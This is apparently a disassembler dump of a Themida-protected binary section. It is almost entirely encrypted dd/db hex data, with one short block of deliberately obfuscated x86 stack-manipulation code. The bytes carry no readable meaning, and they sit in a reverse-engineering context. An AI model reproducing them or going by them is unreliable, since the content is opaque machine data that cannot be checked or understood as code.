0E97A2EA2h dd 0Ch, 5CAC783Ch, 0FBD09F93h, 68A0988Bh, 0E8DF8Bh, 5D000000h dd 0E655ED81h, 0BF0F093Bh, 0FE9D1h, 191C0000h, 0AF164777h dd 0BFF89367h, 6ABEDBD0h, 0FCB568A7h, 0D38A3D93h, 15243481h dd 6A3D93F3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 9369C355h, 0FB1F3BBAh, 22258D8Bh dd 95FF0935h, 9350829h, 5820Fh, 81660000h, 8D2BFFDBh, 3BE486B5h dd 61953309h, 0C709350Fh, 67655206h, 57006A6Dh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8D8BECEBh dd 9352899h, 8119D31h, 46C70935h, 636E6F04h, 6E96Ch, 719B0000h dd 9B242116h, 610846C7h, 6A007373h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0A2F76793h dd 59E36D41h, 0F58D2905h, 8D093528h, 3BE48685h, 0DB816609h dd 0E950867Eh, 13h, 0F61F6016h, 51F82598h, 774AD3C1h, 0C6966EBEh dd 89C62B6Ch, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 6BD4B5C3h, 1C6792D7h, 0B9600DB4h dd 61A8AD46h, 2173BA66h, 0F595FF61h, 8B093502h, 3516818Dh dd 0FC00B09h, 3284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 6DD9893Ah, 858957ABh dd 93503F1h, 3C9E9h, 0B1BD0100h, 6809352Dh, 62E87E08h dd 0F87BB966h, 24243481h, 6A62E87Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5BA0C356h dd 0F1BAC3F9h, 0E924F509h, 0Fh, 0DF0735D3h, 71D021Dh, 67835DB7h dd 0FF2AB227h, 35082995h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8D5548FDh dd 3BE486B5h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 6F0E227Bh, 0A3BBE437h, 0F5126C9h dd 6C7D6B7h, 36343831h, 2DCDBD01h, 46C70935h, 342D3704h dd 51958B31h, 0C7093532h, 846h, 8D8B0000h, 935244Dh, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 858D99C3h, 93BE486h, 0CD9B501h, 0E8900935h, 11h, 9D54A913h dd 0B33A114Ah, 0D2E5F8C9h, 45AFA4E4h, 38C0FB1h, 66000000h dd 505FCB8Bh, 0F8DEBB66h, 0E5BAFC90h, 0FF7C106Bh, 3502F595h dd 0A1952309h, 0B093512h, 29840FC0h, 89000000h, 351EDD8Dh dd 28CE909h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 339E96C3h, 4E8h, 12C00h, 2820F00h dd 0B3000000h, 605150C5h, 0FE8h, 9E17AD00h, 0F27B4742h dd 37036C3Eh, 0E67CAC98h, 615F575Fh, 24448B59h, 8B99B304h dd 6E800h, 0CA550000h, 0B797E517h, 5ACF8B66h, 4244489h dd 6A5845B2h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 6FBAC355h, 0F6E41423h, 5C350607h dd 82995FFh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 860F3BC3h, 3, 0BFAB70Fh, 3511B99Dh dd 86B58D09h, 6A093BE4h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0A251C351h, 0EC1D594Bh dd 0BB663EBAh, 6C71BCBh, 656C6946h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 4DC35040h, 10E976A4h, 1F000000h dd 532419ABh, 1929D16Eh, 0E94D6B3Ah, 8BF964F7h, 446C7F8h dd 636E6F6Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 15C35646h, 0C7D38B01h aFLasss db 'F',8,'lassХ',0Dh,0 ; DATA XREF: Themida_:00555DD5o db 2 dup(0), 0D9h dd 4D751E1Eh, 3475BF43h, 0FABA70D5h, 0C759FB8Bh, 0C46h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 2884E3C3h, 0EC796D27h, 13E9h, 408D9800h dd 0A2B796B1h, 0B711681h, 58BBB699h, 7A743B19h, 8B66006Ah dd 86858DF8h, 6A093BE4h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 5043C355h, 89CA8B66h dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 458B06C3h, 10F680C5h, 0EBDB966h, 2F595FFh dd 0BA660935h, 0C00B78E4h, 4D840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9884D3C3h dd 0A0B4D133h, 293BC974h, 3517B1BDh, 4CE909h, 81600000h dd 622D8DDFh, 9E844h, 0CADA0000h, 0FE480086h, 896D3610h dd 3503719Dh, 0E9615909h, 0FFFFFAE2h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 65C35242h, 90F9F6CEh, 0C9C848EAh dd 7EA5B937h, 0B58D4F45h, 9357099h, 856AEF81h, 0B872BBh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 4AF6C356h, 0CEE6BB66h, 261D9D89h dd 0E6FF0935h, 0FE9h, 0E4AF1D00h, 13FDE9A3h, 3D33A4B8h dd 170BD73Ah, 8D8DC18Bh, 93BECA9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0C0C35040h, 9159938h, 8FF1F0F0h dd 8D89FBB0h, 9351629h, 0FE8h, 0E0337900h, 0FAB89965h dd 6594684Ah, 152E5705h, 7D85C75Eh, 54093528h, 6A00005Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 2344C355h, 5FA3D681h, 85C7668Ah, 9352255h dd 0 dd 1179BD89h, 0DA800935h, 45B5FF27h, 6A09350Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0D62DC357h, 0EDC163A3h, 0D0595FFh, 95090935h, 9351B4Dh dd 95FF006Ah, 9350829h, 6AEBC08Bh, 446F4515h, 0A3F6286Dh dd 0E0F73543h, 65554AF9h, 35EC063Ch, 534A5FAh, 0DDE8E080h dd 0CAEE4C6Fh, 0B74ED552h, 639771CAh, 980E95D5h, 96B1408Dh dd 1681A2B7h, 0B6990B71h, 3B1958BBh, 201F7A74h, 41F32BE7h dd 63AA4ACCh, 0F2B9D33Eh, 5272C4E4h, 0F537B66Dh, 5B4CAA0Dh dd 0CE8949F5h, 0F359C912h, 0BE89590Fh, 5B1AA508h, 0ED55388Bh dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 201C61FDh, 2033C7FDh dd 202404FDh, 20AC7AFDh, 206954FDh, 208B42FDh, 20FA2BFDh dd 204208FDh, 201EE7FDh, 203322FDh, 2024FBFDh, 20AE5CFDh dd 2069B9FDh, 208B9EFDh, 20F97BFDh, 204027FDh, 201D8BFDh dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh, 7A5A5CF4h dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 206B76FDh, 20E375A7h dd 7ACB75A7h, 7BE475FDh, 7BF374FCh, 0B29074FCh, 1ABC75F8h dd 8B6EF070h, 0FFA67CC6h, 73AC989Ah, 8B8DF070h, 0FF6C7CC6h dd 73C998DAh, 8BFDF070h, 0FF357CC6h, 7365989Eh, 8ACBF070h dd 0FF1E7CC6h, 73F098D6h, 8A46F070h, 0FF7B7CC6h, 734298D2h dd 95FDF070h, 0FFD77CC6h, 731498CEh, 95C4F070h, 0FF427CC6h dd 73DE98CAh, 959BF070h, 0FFF07CC6h, 738798C6h, 959AF070h dd 0FFA67CC6h, 73AC98BAh, 955BF070h, 0FF6C7CC6h, 73C998C2h dd 95D6F070h, 0FF357CC6h, 736598BEh, 95EBF070h, 0FF1E7CC6h dd 73F098BAh, 951BF070h, 0FF7B7CC6h, 734298AAh, 8AA1F070h dd 0FFD77CC6h, 731498A6h, 8AD7F070h, 0FF427CC6h, 73DE98A2h dd 8A7BF070h, 0FFF07CC6h, 738798B6h, 8A9EF070h, 0FFA67CC6h dd 73AC98B2h, 8B90F070h, 0FF6C7CC6h, 73C998AEh, 611CF076h dd 0FF357CC8h, 7365985Dh, 651EF076h, 0FF1E7CC8h, 73F09859h dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 4152C117h, 3FD525F4h dd 0E5ADFDF5h, 229E4E10h, 7ACFB734h, 29B723ACh, 7A1A20ADh dd 277975FDh, 9469987Ch, 0FFA07CC6h, 731498DBh, 97B1C87Dh dd 9CF7CC6h, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h, 73879859h dd 2B96FEBDh, 7A2F7A45h, 0DE028AFDh, 0F7C24E10h, 41085248h dd 0FCC6F8F4h, 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 0DEBA8AFDh dd 0F79E4E10h, 41265248h, 0FCD1F8F4h, 23228A50h, 0F787BC1Fh dd 738798DBh, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh dd 0DA708A57h, 0D1FB4E10h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh dd 0EFD0DE9Bh, 73AC985Dh, 9208DE9Bh, 7AE57795h, 72F3360Bh dd 0EF866E88h, 7387985Dh, 7954C54Dh, 0DABA8AADh, 209E4E10h dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h, 207975FFh dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh, 0BA07F5DFh dd 85B5FF4Dh, 411FD568h, 5F1F2FF4h, 71DA51FDh, 0B9F5133Fh dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 73429859h dd 97D7C070h, 8A5D7CC6h, 0D02C7F51h, 9737E002h, 92087CC6h dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h, 923C2257h dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 73F098E0h, 97F8C87Dh dd 0FF37CC6h, 0F5FCF8ECh, 2AB54E10h, 7A5C6115h, 781B9DFDh dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch dd 738798E0h, 9743C87Dh, 0F2F7CC6h, 0F512F8F1h, 2AC24E10h dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 4151D168h, 96C3F8F4h dd 0F0264E0Ch, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh dd 0F9BB5E3Ah, 78357115h, 0DACB8A3Eh, 0CE264E10h, 0E96514Ah dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 73F0985Dh, 0FAEA917Dh dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h dd 0B995FCF9h, 7ACB7345h, 0DE708AFDh, 0F7FB4E10h, 4194F660h dd 39A0F8F4h, 7A4ECD3Eh, 0EFD075FDh, 73AC9859h, 0F1CEB57Eh dd 0EF1A8935h, 73C9985Dh, 0B98E9757h, 8543BE15h, 7B1DFF02h dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 41DE8917h, 86EAFCF4h dd 9754CF7Dh, 75E57CC6h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh dd 73659859h, 0D2ADFCBDh, 0F19E4E10h, 0AA79F835h, 85EC4E0Fh dd 411FD56Fh, 3C7FFDF4h, 6D04801Fh, 795E75FDh, 41C2DD7Fh dd 0E01A35F4h, 73F08739h, 0F3E1B67Eh, 644B22FEh, 797975FDh dd 4151DD77h, 0C8ECF8F4h, 89264E0Fh, 722F2B59h, 85CB75FDh dd 4108D16Fh, 7E0AF6F4h, 7C718589h, 7ABC7244h, 4B5A7DFDh dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h dd 90162FFDh, 73F0871Eh, 9749CF70h, 0F797CC6h, 7A71CCF5h dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 73AC9851h, 7BD3497Dh dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh dd 41DC6917h, 0D625F8F4h, 0F1C24E10h, 725C7D80h, 89F275FDh dd 0B8B01459h, 0F7DC75F9h, 41B3D940h, 0C3EF46F4h, 7A9775F5h dd 0B9AADF0Eh, 0D658F89Dh, 0FBFB4E10h, 7B7874C2h, 0FBB000FCh dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch, 4108D940h dd 7AF3CDF4h, 72C075FDh, 89BC75FDh, 0F19D1457h, 0F7EFFE3Dh dd 417ACC78h, 8BD08AF4h, 0DE8CAh, 75ED0000h, 58AA11DAh dd 0CFE49B8Eh, 66C06716h, 0B35AF98Bh, 0A2C281CAh, 0BE00005Ch dd 178215C2h, 145C681h, 0FE8BE87Eh, 665932FFh, 3766D781h dd 5FF2E981h, 0C18141B4h, 52906C9h, 0ADC08166h, 0F9F18148h dd 0BB47650Dh, 75C8B276h, 8FC38B51h, 0AF78B802h, 0EA8332F4h dd 0EF816603h, 0E94A8E22h, 8, 9A77F694h, 0C66F1704h, 1EE81h dd 850F0000h, 0FFFFFFB0h, 0FE9h, 419F8A00h, 954F37C0h dd 647A5330h, 61FD1712h, 6F0904EBh, 0BDE9003Bh, 22000004h dd 560A9330h, 1BDDBEDBh, 7C049904h, 36AAF3E4h, 3A019A3Fh dd 4950C941h, 2978C54h, 4C49E799h, 0C95894Fh, 0AFF5998Fh dd 12FA4E05h, 9EEAD401h, 0FA4DBA00h, 0CC28AE12h, 0AE2B4725h dd 4158D143h dd 0F88A45Ch, 0E3FC70E4h, 425FD1EBh, 4AC92DAFh, 8E3E5BD6h dd 19E7F06Ch, 0D45B9B06h, 7104F06Dh, 41B7E4FDh, 77E9B22Fh dd 0A315DCF9h, 0F6E60D88h, 52CCBFA5h, 0AE398945h, 830CF1A3h dd 3968F71h, 0B3886CF0h, 49A8312Dh, 362314BBh, 180C191Ch dd 50190E3Fh, 6B5989h, 59350000h, 362E814Bh, 4F73751Ch dd 78AF445Ch, 4EF50151h, 6974EB15h, 18C6068Ah, 1C3641B2h dd 7AF400A6h, 6AFAF9E6h, 1C364162h, 9E7B436Bh, 736E0355h dd 1C5F9F4Fh, 0C0998BD8h, 894FF98Dh, 1DAh, 2A47B900h, 5DD044AFh dd 41367C22h, 0AC321C36h, 70C02514h, 8F6118DCh, 5F78F064h dd 0C4B02D94h, 0F8A53C31h, 0AAF3EC80h, 0AB2E4709h, 618A248h dd 4EE35D99h, 8C30A053h, 9E693534h, 5CE01380h, 2B48BA64h dd 0FB8E76CBh, 80267762h, 3CC9F140h, 9D59B2FCh, 5F920F23h dd 0EBD10FBBh, 0DF1C3555h, 0ACC33DB9h, 86DFC231h, 0EBA0BD9Eh dd 85E78950h, 0A8000000h, 48AB2E47h, 0B33E5BD4h, 0E0E5CF4Eh dd 6D050EA0h, 35788D37h, 5B67891Ch, 6591BB40h, 366772EBh dd 0C32EABC2h, 58D0D951h, 5F42B13Fh, 0C7391E06h, 44C82BAEh dd 12CD10B0h, 5BD8950h, 2C634114h, 0D54BB524h, 4FA729C8h dd 5BA8h, 14A6E200h, 63697B1Ch, 571C3613h, 15FEA551h, 8E6673EBh dd 5D94051Ch, 896875EBh, 572212F3h, 0B713BBDEh, 48AB2E45h dd 41941EC4h, 1E901C36h, 0DF619005h, 2308E511h, 0A1BF2A47h dd 0A937BA34h, 1C364126h, 0EDEADA2Bh, 41B903A1h, 2BAD1C36h dd 0F9EA23CBh, 17D894Fh, 4E000000h, 46AD2847h, 92071EA0h dd 6B74E862h, 594B9888h, 0F2EF827Ch, 7797DFFh, 0F3E67D68h dd 29727C00h, 7B530B9Eh, 26B3AD4Fh, 17AD49CBh, 150363C8h dd 55C72AACh, 25DBC0D9h, 0D3619009h, 13011BEBh, 4F3A2AFBh dd 23D5C6D3h, 0ED5F920Fh, 1B896871h, 332FDACAh, 0F855F5A6h dd 7292851Fh, 0FE1F810Ah, 1E507065h, 0B0579FF8h, 140h dd 514EE0DAh, 9B2EFEA5h, 0BBF0BC3h, 3641EFD5h, 31C5EB1Ch dd 35E78A3h, 876A6C15h, 1B801915h, 4DE0C965h, 88329A54h dd 69E80C95h, 0C6307BF7h, 0E69E096Fh, 0D90DB7EDh, 0E7091300h dd 5A7FF709h, 9EEF5D94h, 0F66F91B6h, 95041DE3h, 6673EF61h dd 63389535h, 4A2F9285h, 60000000h, 7C7872Eh, 364223D9h dd 0E211971Ch, 36416852h, 0BAAA771Ch, 213FFFB6h, 35BB3DB4h dd 0AE2BE999h, 7E290956h, 4A9B2742h, 2DC93568h, 0D4896381h dd 7B1D1C35h, 0AAE822h, 9A240000h, 59DB1683h, 1751E869h dd 0AD49A5C0h, 0A19B2E06h, 11EBDEE1h, 31B3C14Ah, 1C356F8Bh dd 3797597Fh, 0AB492B93h, 0E2D5717Ch, 0DBB97C12h, 15B91502h dd 9BE5CFh, 41BFE113h, 0C044AF2Ah, 99587E34h, 0D8E0B27h dd 44E56919h, 1136841Ch, 0EAF76BE5h, 0C4596307h, 9B3F1DDh dd 0FD1300AAh, 14851BDBh, 0F81300AAh, 0A9362AD4h, 790CF84Dh dd 0C09FFCE5h, 0DDB11DF5h, 0A9FDC7h, 0D7F7F913h, 0AA03C9h dd 5F1F713h, 1D794B59h, 5B7D0BD8h, 61082498h, 0F524E2CDh dd 71806EB8h, 3E221283h, 851BB36Bh, 14FF4F37h, 4B009D43h dd 0BC39B2Eh, 0DB5E7D5h, 26CDD315h, 0AD21BEB2h, 8F7B48D5h dd 946039DBh, 0B42D41B7h, 0C27993Dh, 17D76D89h, 480BFB7Ch dd 0D0EAEFD5h, 3AB44059h, 918B26h, 0B72C4EB4h, 809C6439h dd 8636DC17h, 0D3B78684h, 42BC38E6h, 5646AD2Ah, 0FEC4DAAEh dd 0FA1BFA85h, 0C1B300F4h, 657B3A36h, 1BFA855Fh, 29B555Bh dd 0D9F5E27Eh, 61481EA9h, 0FB73CAFAh, 5F9113DEh, 16721897h dd 0FABD4288h, 0E2FF721Bh, 0B1378D0Fh, 31C5D04Fh, 349h dd 844F8A00h, 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h dd 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh dd 5954515Dh, 4C181h, 0E9830000h, 240C8704h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 727Ah mov [esp], edx push 93BF425h mov eax, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax pop dword ptr [edx+8] push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_5464A4 ; --------------------------------------------------------------------------- db 0DDh dd 3BF87FB8h, 0FFC50309h, 0EAE175E0h, 5067E5Bh, 6016E532h dd 40D01863h, 7F9780Fh, 0E8399830h, 0EAC6C76Bh, 45B19F1Fh dd 0C52E425h, 5DB6D366h, 242DFF38h, 3BAB7D54h, 1970762h dd 0BB9570Bh, 0BB8D8D54h, 89093BF9h, 350821BDh, 298D8909h dd 0B2093516h, 7D85C7B4h, 0D0093528h, 6A000071h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0EAA5C353h, 3D85898Bh, 0C7093522h, 35225585h, 9, 0DC42BF00h dd 0B5FF7BDAh, 9350C45h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0F7C35242h, 9006F814h, 0FAAA951h, 84h dd 9852900h, 0FF09352Eh, 350D0595h, 3525BF09h, 6A53FFh dd 82995FFh, 0C08B0935h, 0A6E748EBh, 3D723117h, 0DD662223h dd 9616CCCDh, 7DA17FBEh, 9D210149h, 56892135h, 1AB71E10h dd 59850C15h, 0F884B307h, 76F38A16h, 0C2231D46h, 0C22737A8h dd 0C5A7A984h, 2162AFABh, 645B2B8h, 0C0B6FC9Bh, 4A3D0352h dd 8E878B1h, 41000000h, 63AA4ACCh, 66B9D33Eh, 590F35BBh dd 2771858Bh, 0C1810935h, 6001h, 0DE9h, 7AE80700h, 21AD642Bh dd 84456851h, 68A41Ah, 81000000h, 84B627C0h, 9D315A29h dd 9352BA9h, 8B11348Bh, 351DE19Dh, 86EE8109h, 66303752h dd 81AD43BFh, 2DEEE5EEh, 77DC805Ah, 5890F681h, 9D0148ABh dd 935164Dh, 81113489h, 123C6DC3h, 1EA835Fh, 8B4A4A4Ah dd 0B0FA81DFh, 0FFFFFA0h, 2085h, 5E800h, 696A0000h, 8B113B64h dd 21E958F8h, 0E5000000h, 13657289h, 34BE9DA0h, 9FF57904h dd 52BB6602h, 0FF92E914h, 1BD4FFFFh, 59A90E94h, 86CF5413h dd 0D3E9h, 0F5D28000h, 0A43D30A8h, 0F3EE81F7h, 993E36AAh dd 0F4E57C04h, 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h dd 0D37526B3h, 47DFE5FBh, 0CADB12FAh, 5EEABC04h, 0DED4793Dh dd 0EB157716h, 1D8F6772h, 94389405h, 3641644Eh, 823E601Ch dd 0E9516722h, 1F9E56B4h, 6938B45h, 0D6DC02C6h, 0D21C3567h dd 715328CCh, 0E3C8E320h, 0CEF4AADEh, 0CA1C371Ch, 519F3834h dd 0FC90FA5h, 73DD1C75h, 0A71CB724h, 1C78345Fh, 0D2C75F61h dd 153222h, 15930000h, 39100EADh, 0BA3AD2D5h, 0A93C8448h dd 0E196FC1Ch, 4758F7FFh, 0CF41B015h, 39AB4653h, 0C537BA27h dd 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh dd 5D2AC9D0h, 3BFAC768h, 833EE909h, 564CFFF9h, 3BFB8EB8h dd 0E8C50309h, 0Dh, 304822E5h, 5B11ED6Ch, 0DA0F1E18h, 11B58B83h dd 5F09352Dh, 3259B529h, 0C7810935h, 5DEBh, 68FCh, 8D8B0000h dd 93524A5h, 8D9D8958h, 0FF093526h, 10E93834h, 6000000h dd 31619281h, 66A5DC94h, 28DE245Eh, 5A08D7F1h, 68B0Fh dd 0BD890000h, 93529A5h, 0B7FAEA81h, 0B0B549FBh, 8166EA81h dd 9D8B13C2h, 9351BE1h, 4EE5EA81h, 85896289h, 9353305h dd 0F071489h, 38Ch, 0D9BF0F00h, 88B0Fh, 8F0F0000h, 2, 0E8816160h dd 1ABCBA21h, 0A519D8Bh, 0C0810935h, 1ABCBA1Dh, 8E0FFC60h dd 6, 811B501h, 81610935h, 0FFA2D8F8h, 74850FFFh, 60FFFFFFh dd 11F1BD31h, 0EB610935h, 0F34ECC04h, 0DD9E95Ch, 8C680000h dd 0E9093BFEh, 0FFF98254h, 3BFF8D68h, 824AE909h, 4F68FFF9h dd 0E9093C00h, 0FFF98240h, 3C00E968h, 8236E909h, 6F68FFF9h dd 0E9093C04h, 0FFF9822Ch, 3C078068h, 8222E909h, 9E68FFF9h dd 0E9093C08h, 0FFF98218h, 8D0EAB89h, 524B56CBh, 9704918Eh dd 4B5049E1h, 0A0FD9C95h, 0D24E693h, 0D2490F8Ch, 0C22D6C7h dd 0D64A0E8Fh, 0B0DCD4C9h, 0FA45C8F2h, 0AC0FBC12h, 48AB2E47h dd 603D5AD4h, 0BCDD5466h, 0B043B335h, 0B9203DE5h, 9438B63Ah dd 3467F4Eh, 80737515h, 2F4EE0DAh, 13C4B71h, 57993F13h dd 0C82CB5A9h, 13C943Ah, 0E4D05513h, 8502AAE3h, 54BD92h dd 2E0E0000h, 0BF0BC39Bh, 36419B21h, 0C5098F1Ch, 3641951Fh dd 0E70F911Ch, 60769D43h, 3E721503h, 836D193Eh, 0CAD8F4D1h dd 1300B500h, 0F5FCF2F4h, 0B46167h, 0D1C32213h, 90AD8CF4h dd 0F9BBED8h, 10647E7h, 11619285h, 2D000000h, 0FD039E93h dd 0FA7E7564h, 17D153FAh, 2000009h, 43AE2B47h, 57445DD1h dd 69653D88h, 364343Bh, 938AF215h, 0ECAAEEFAh, 0B739E70Fh dd 5F0AAC3Ch, 5ACB1300h, 0E11C716Ah, 384B9285h, 7C000000h dd 42959B2Eh, 463295D4h, 1D715D93h, 0E40F8AA3h, 0FFE9460h dd 0E515036Ah, 1EA030C3h, 0DF130109h, 90BD9E86h, 0D7928531h dd 0F4h, 9C1509B3h, 1BD61881h, 47B65D99h, 0D143AE2Bh, 3EB24158h dd 2EABC522h, 7FF20CC0h, 670B9262h, 0DF33BC17h, 4FA00A1h dd 2866D6Ah, 0FBE478F2h, 1A12ACA2h, 0C5EB797Dh, 751C35E8h dd 45BBE0F9h, 0B641B029h, 0FDA32BE3h, 15030E7Ah, 5A64686Eh dd 9719D8C5h, 0EABD8A5Fh, 0DA049A32h, 9E0BCC85h, 346A1508h dd 1C337D8Eh, 648A648Ah, 0E4761868h, 706AFFA9h, 4FE6D884h dd 9E507A28h, 0A2441C33h, 964C804Ch, 1C339E2Ch, 9E466C32h dd 9C421C33h, 29F9026h, 0AD3308ECh, 2EC125B4h, 0AFE9A235h dd 0B0C1A04h, 99BB0000h, 84995F3Ch, 67F8801Dh, 0C75F217Ah dd 1E17C9D2h, 6019227Bh, 7526B3AAh, 306D6803h, 7429B6A8h dd 366770ECh, 1EA43A92h, 1A12FA43h, 2E474A89h, 396723ABh dd 1C364193h, 1BA13F87h, 0F1C3641h, 80996789h, 7800DD19h dd 0B1A2FBE4h, 0BC39B2Eh, 419B21BFh, 98F1C36h, 74A341EDh dd 88150371h, 11149E44h, 8E101301h, 0D3ED9160h, 1CB2425Fh dd 1301119Ah, 0A74A57CAh, 589B3E35h, 0E58074F1h, 924B39ACh dd 92852A3Bh, 0BC2Ch, 2B475B00h, 58D143AEh, 7C22B241h dd 7A1C3646h, 3D2A904Eh, 781E1C36h, 71DA4E48h, 985C6FE3h dd 108D0A26h, 0E8BA416h, 0DFF874E6h, 0A01A6E14h, 0E9D3118Eh dd 0DD1C3612h, 1DA83BBBh, 0BB458945h, 6B83BA6h, 6A859536h dd 0C135BB9Dh, 2A74C33h, 7D1EC015h, 0CFFFD7E2h, 0CC07C811h dd 0B21ABC0Bh, 13881108h, 21C5D44Dh, 0E9A1EC44h, 0BF0DA59h dd 0BA00000Ah, 9E623B98h, 0D3851683h, 0A45C415Ch, 0CE920B8Ch dd 62594257h, 0D1C86129h, 7A1F14CCh, 0D4C15F21h, 841D11C7h dd 475D3117h, 12FA427Dh, 15676C79h, 896875EBh, 0E47DEF07h dd 3C30A8F5h, 0C5C79275h, 0E719698Ch, 0F9A24C49h, 0AE2B475Ah dd 61D9F43h, 75E96393h, 8BAB2F6Ch, 636B2376h, 354EE3Dh dd 0E8E40A15h, 4FA41098h, 6E52E7E9h, 0A0319CDAh, 85D91D42h dd 0BDE68ADFh, 0A27A4DACh, 97A5742Ah, 4D537412h, 60FE00A6h dd 0F8FC8073h, 9F925A6Dh, 836DEF02h, 0E07D7F4Bh, 0B167FDF9h dd 4F6B488Eh, 3B37B2ADh, 1FD1539Eh, 0EEA450D4h, 46DAE4E8h dd 0A0BC4459h, 62CCAF37h, 52D18A9Dh, 94968h, 7D5AF800h dd 0DCC55820h, 0BB2639BFh, 91061EE2h, 0BCDD540Ch, 0E3A7D4DFh dd 8A4E4F4Ah, 0E1970491h, 9749524Fh, 0AB9DFE9Bh, 41F7BDE3h dd 0E2F312FAh, 0AE2B47E1h, 23849C1Eh, 0E1638E0Bh, 627FF10Fh dd 6AE90D8Fh, 0BA12CADDh, 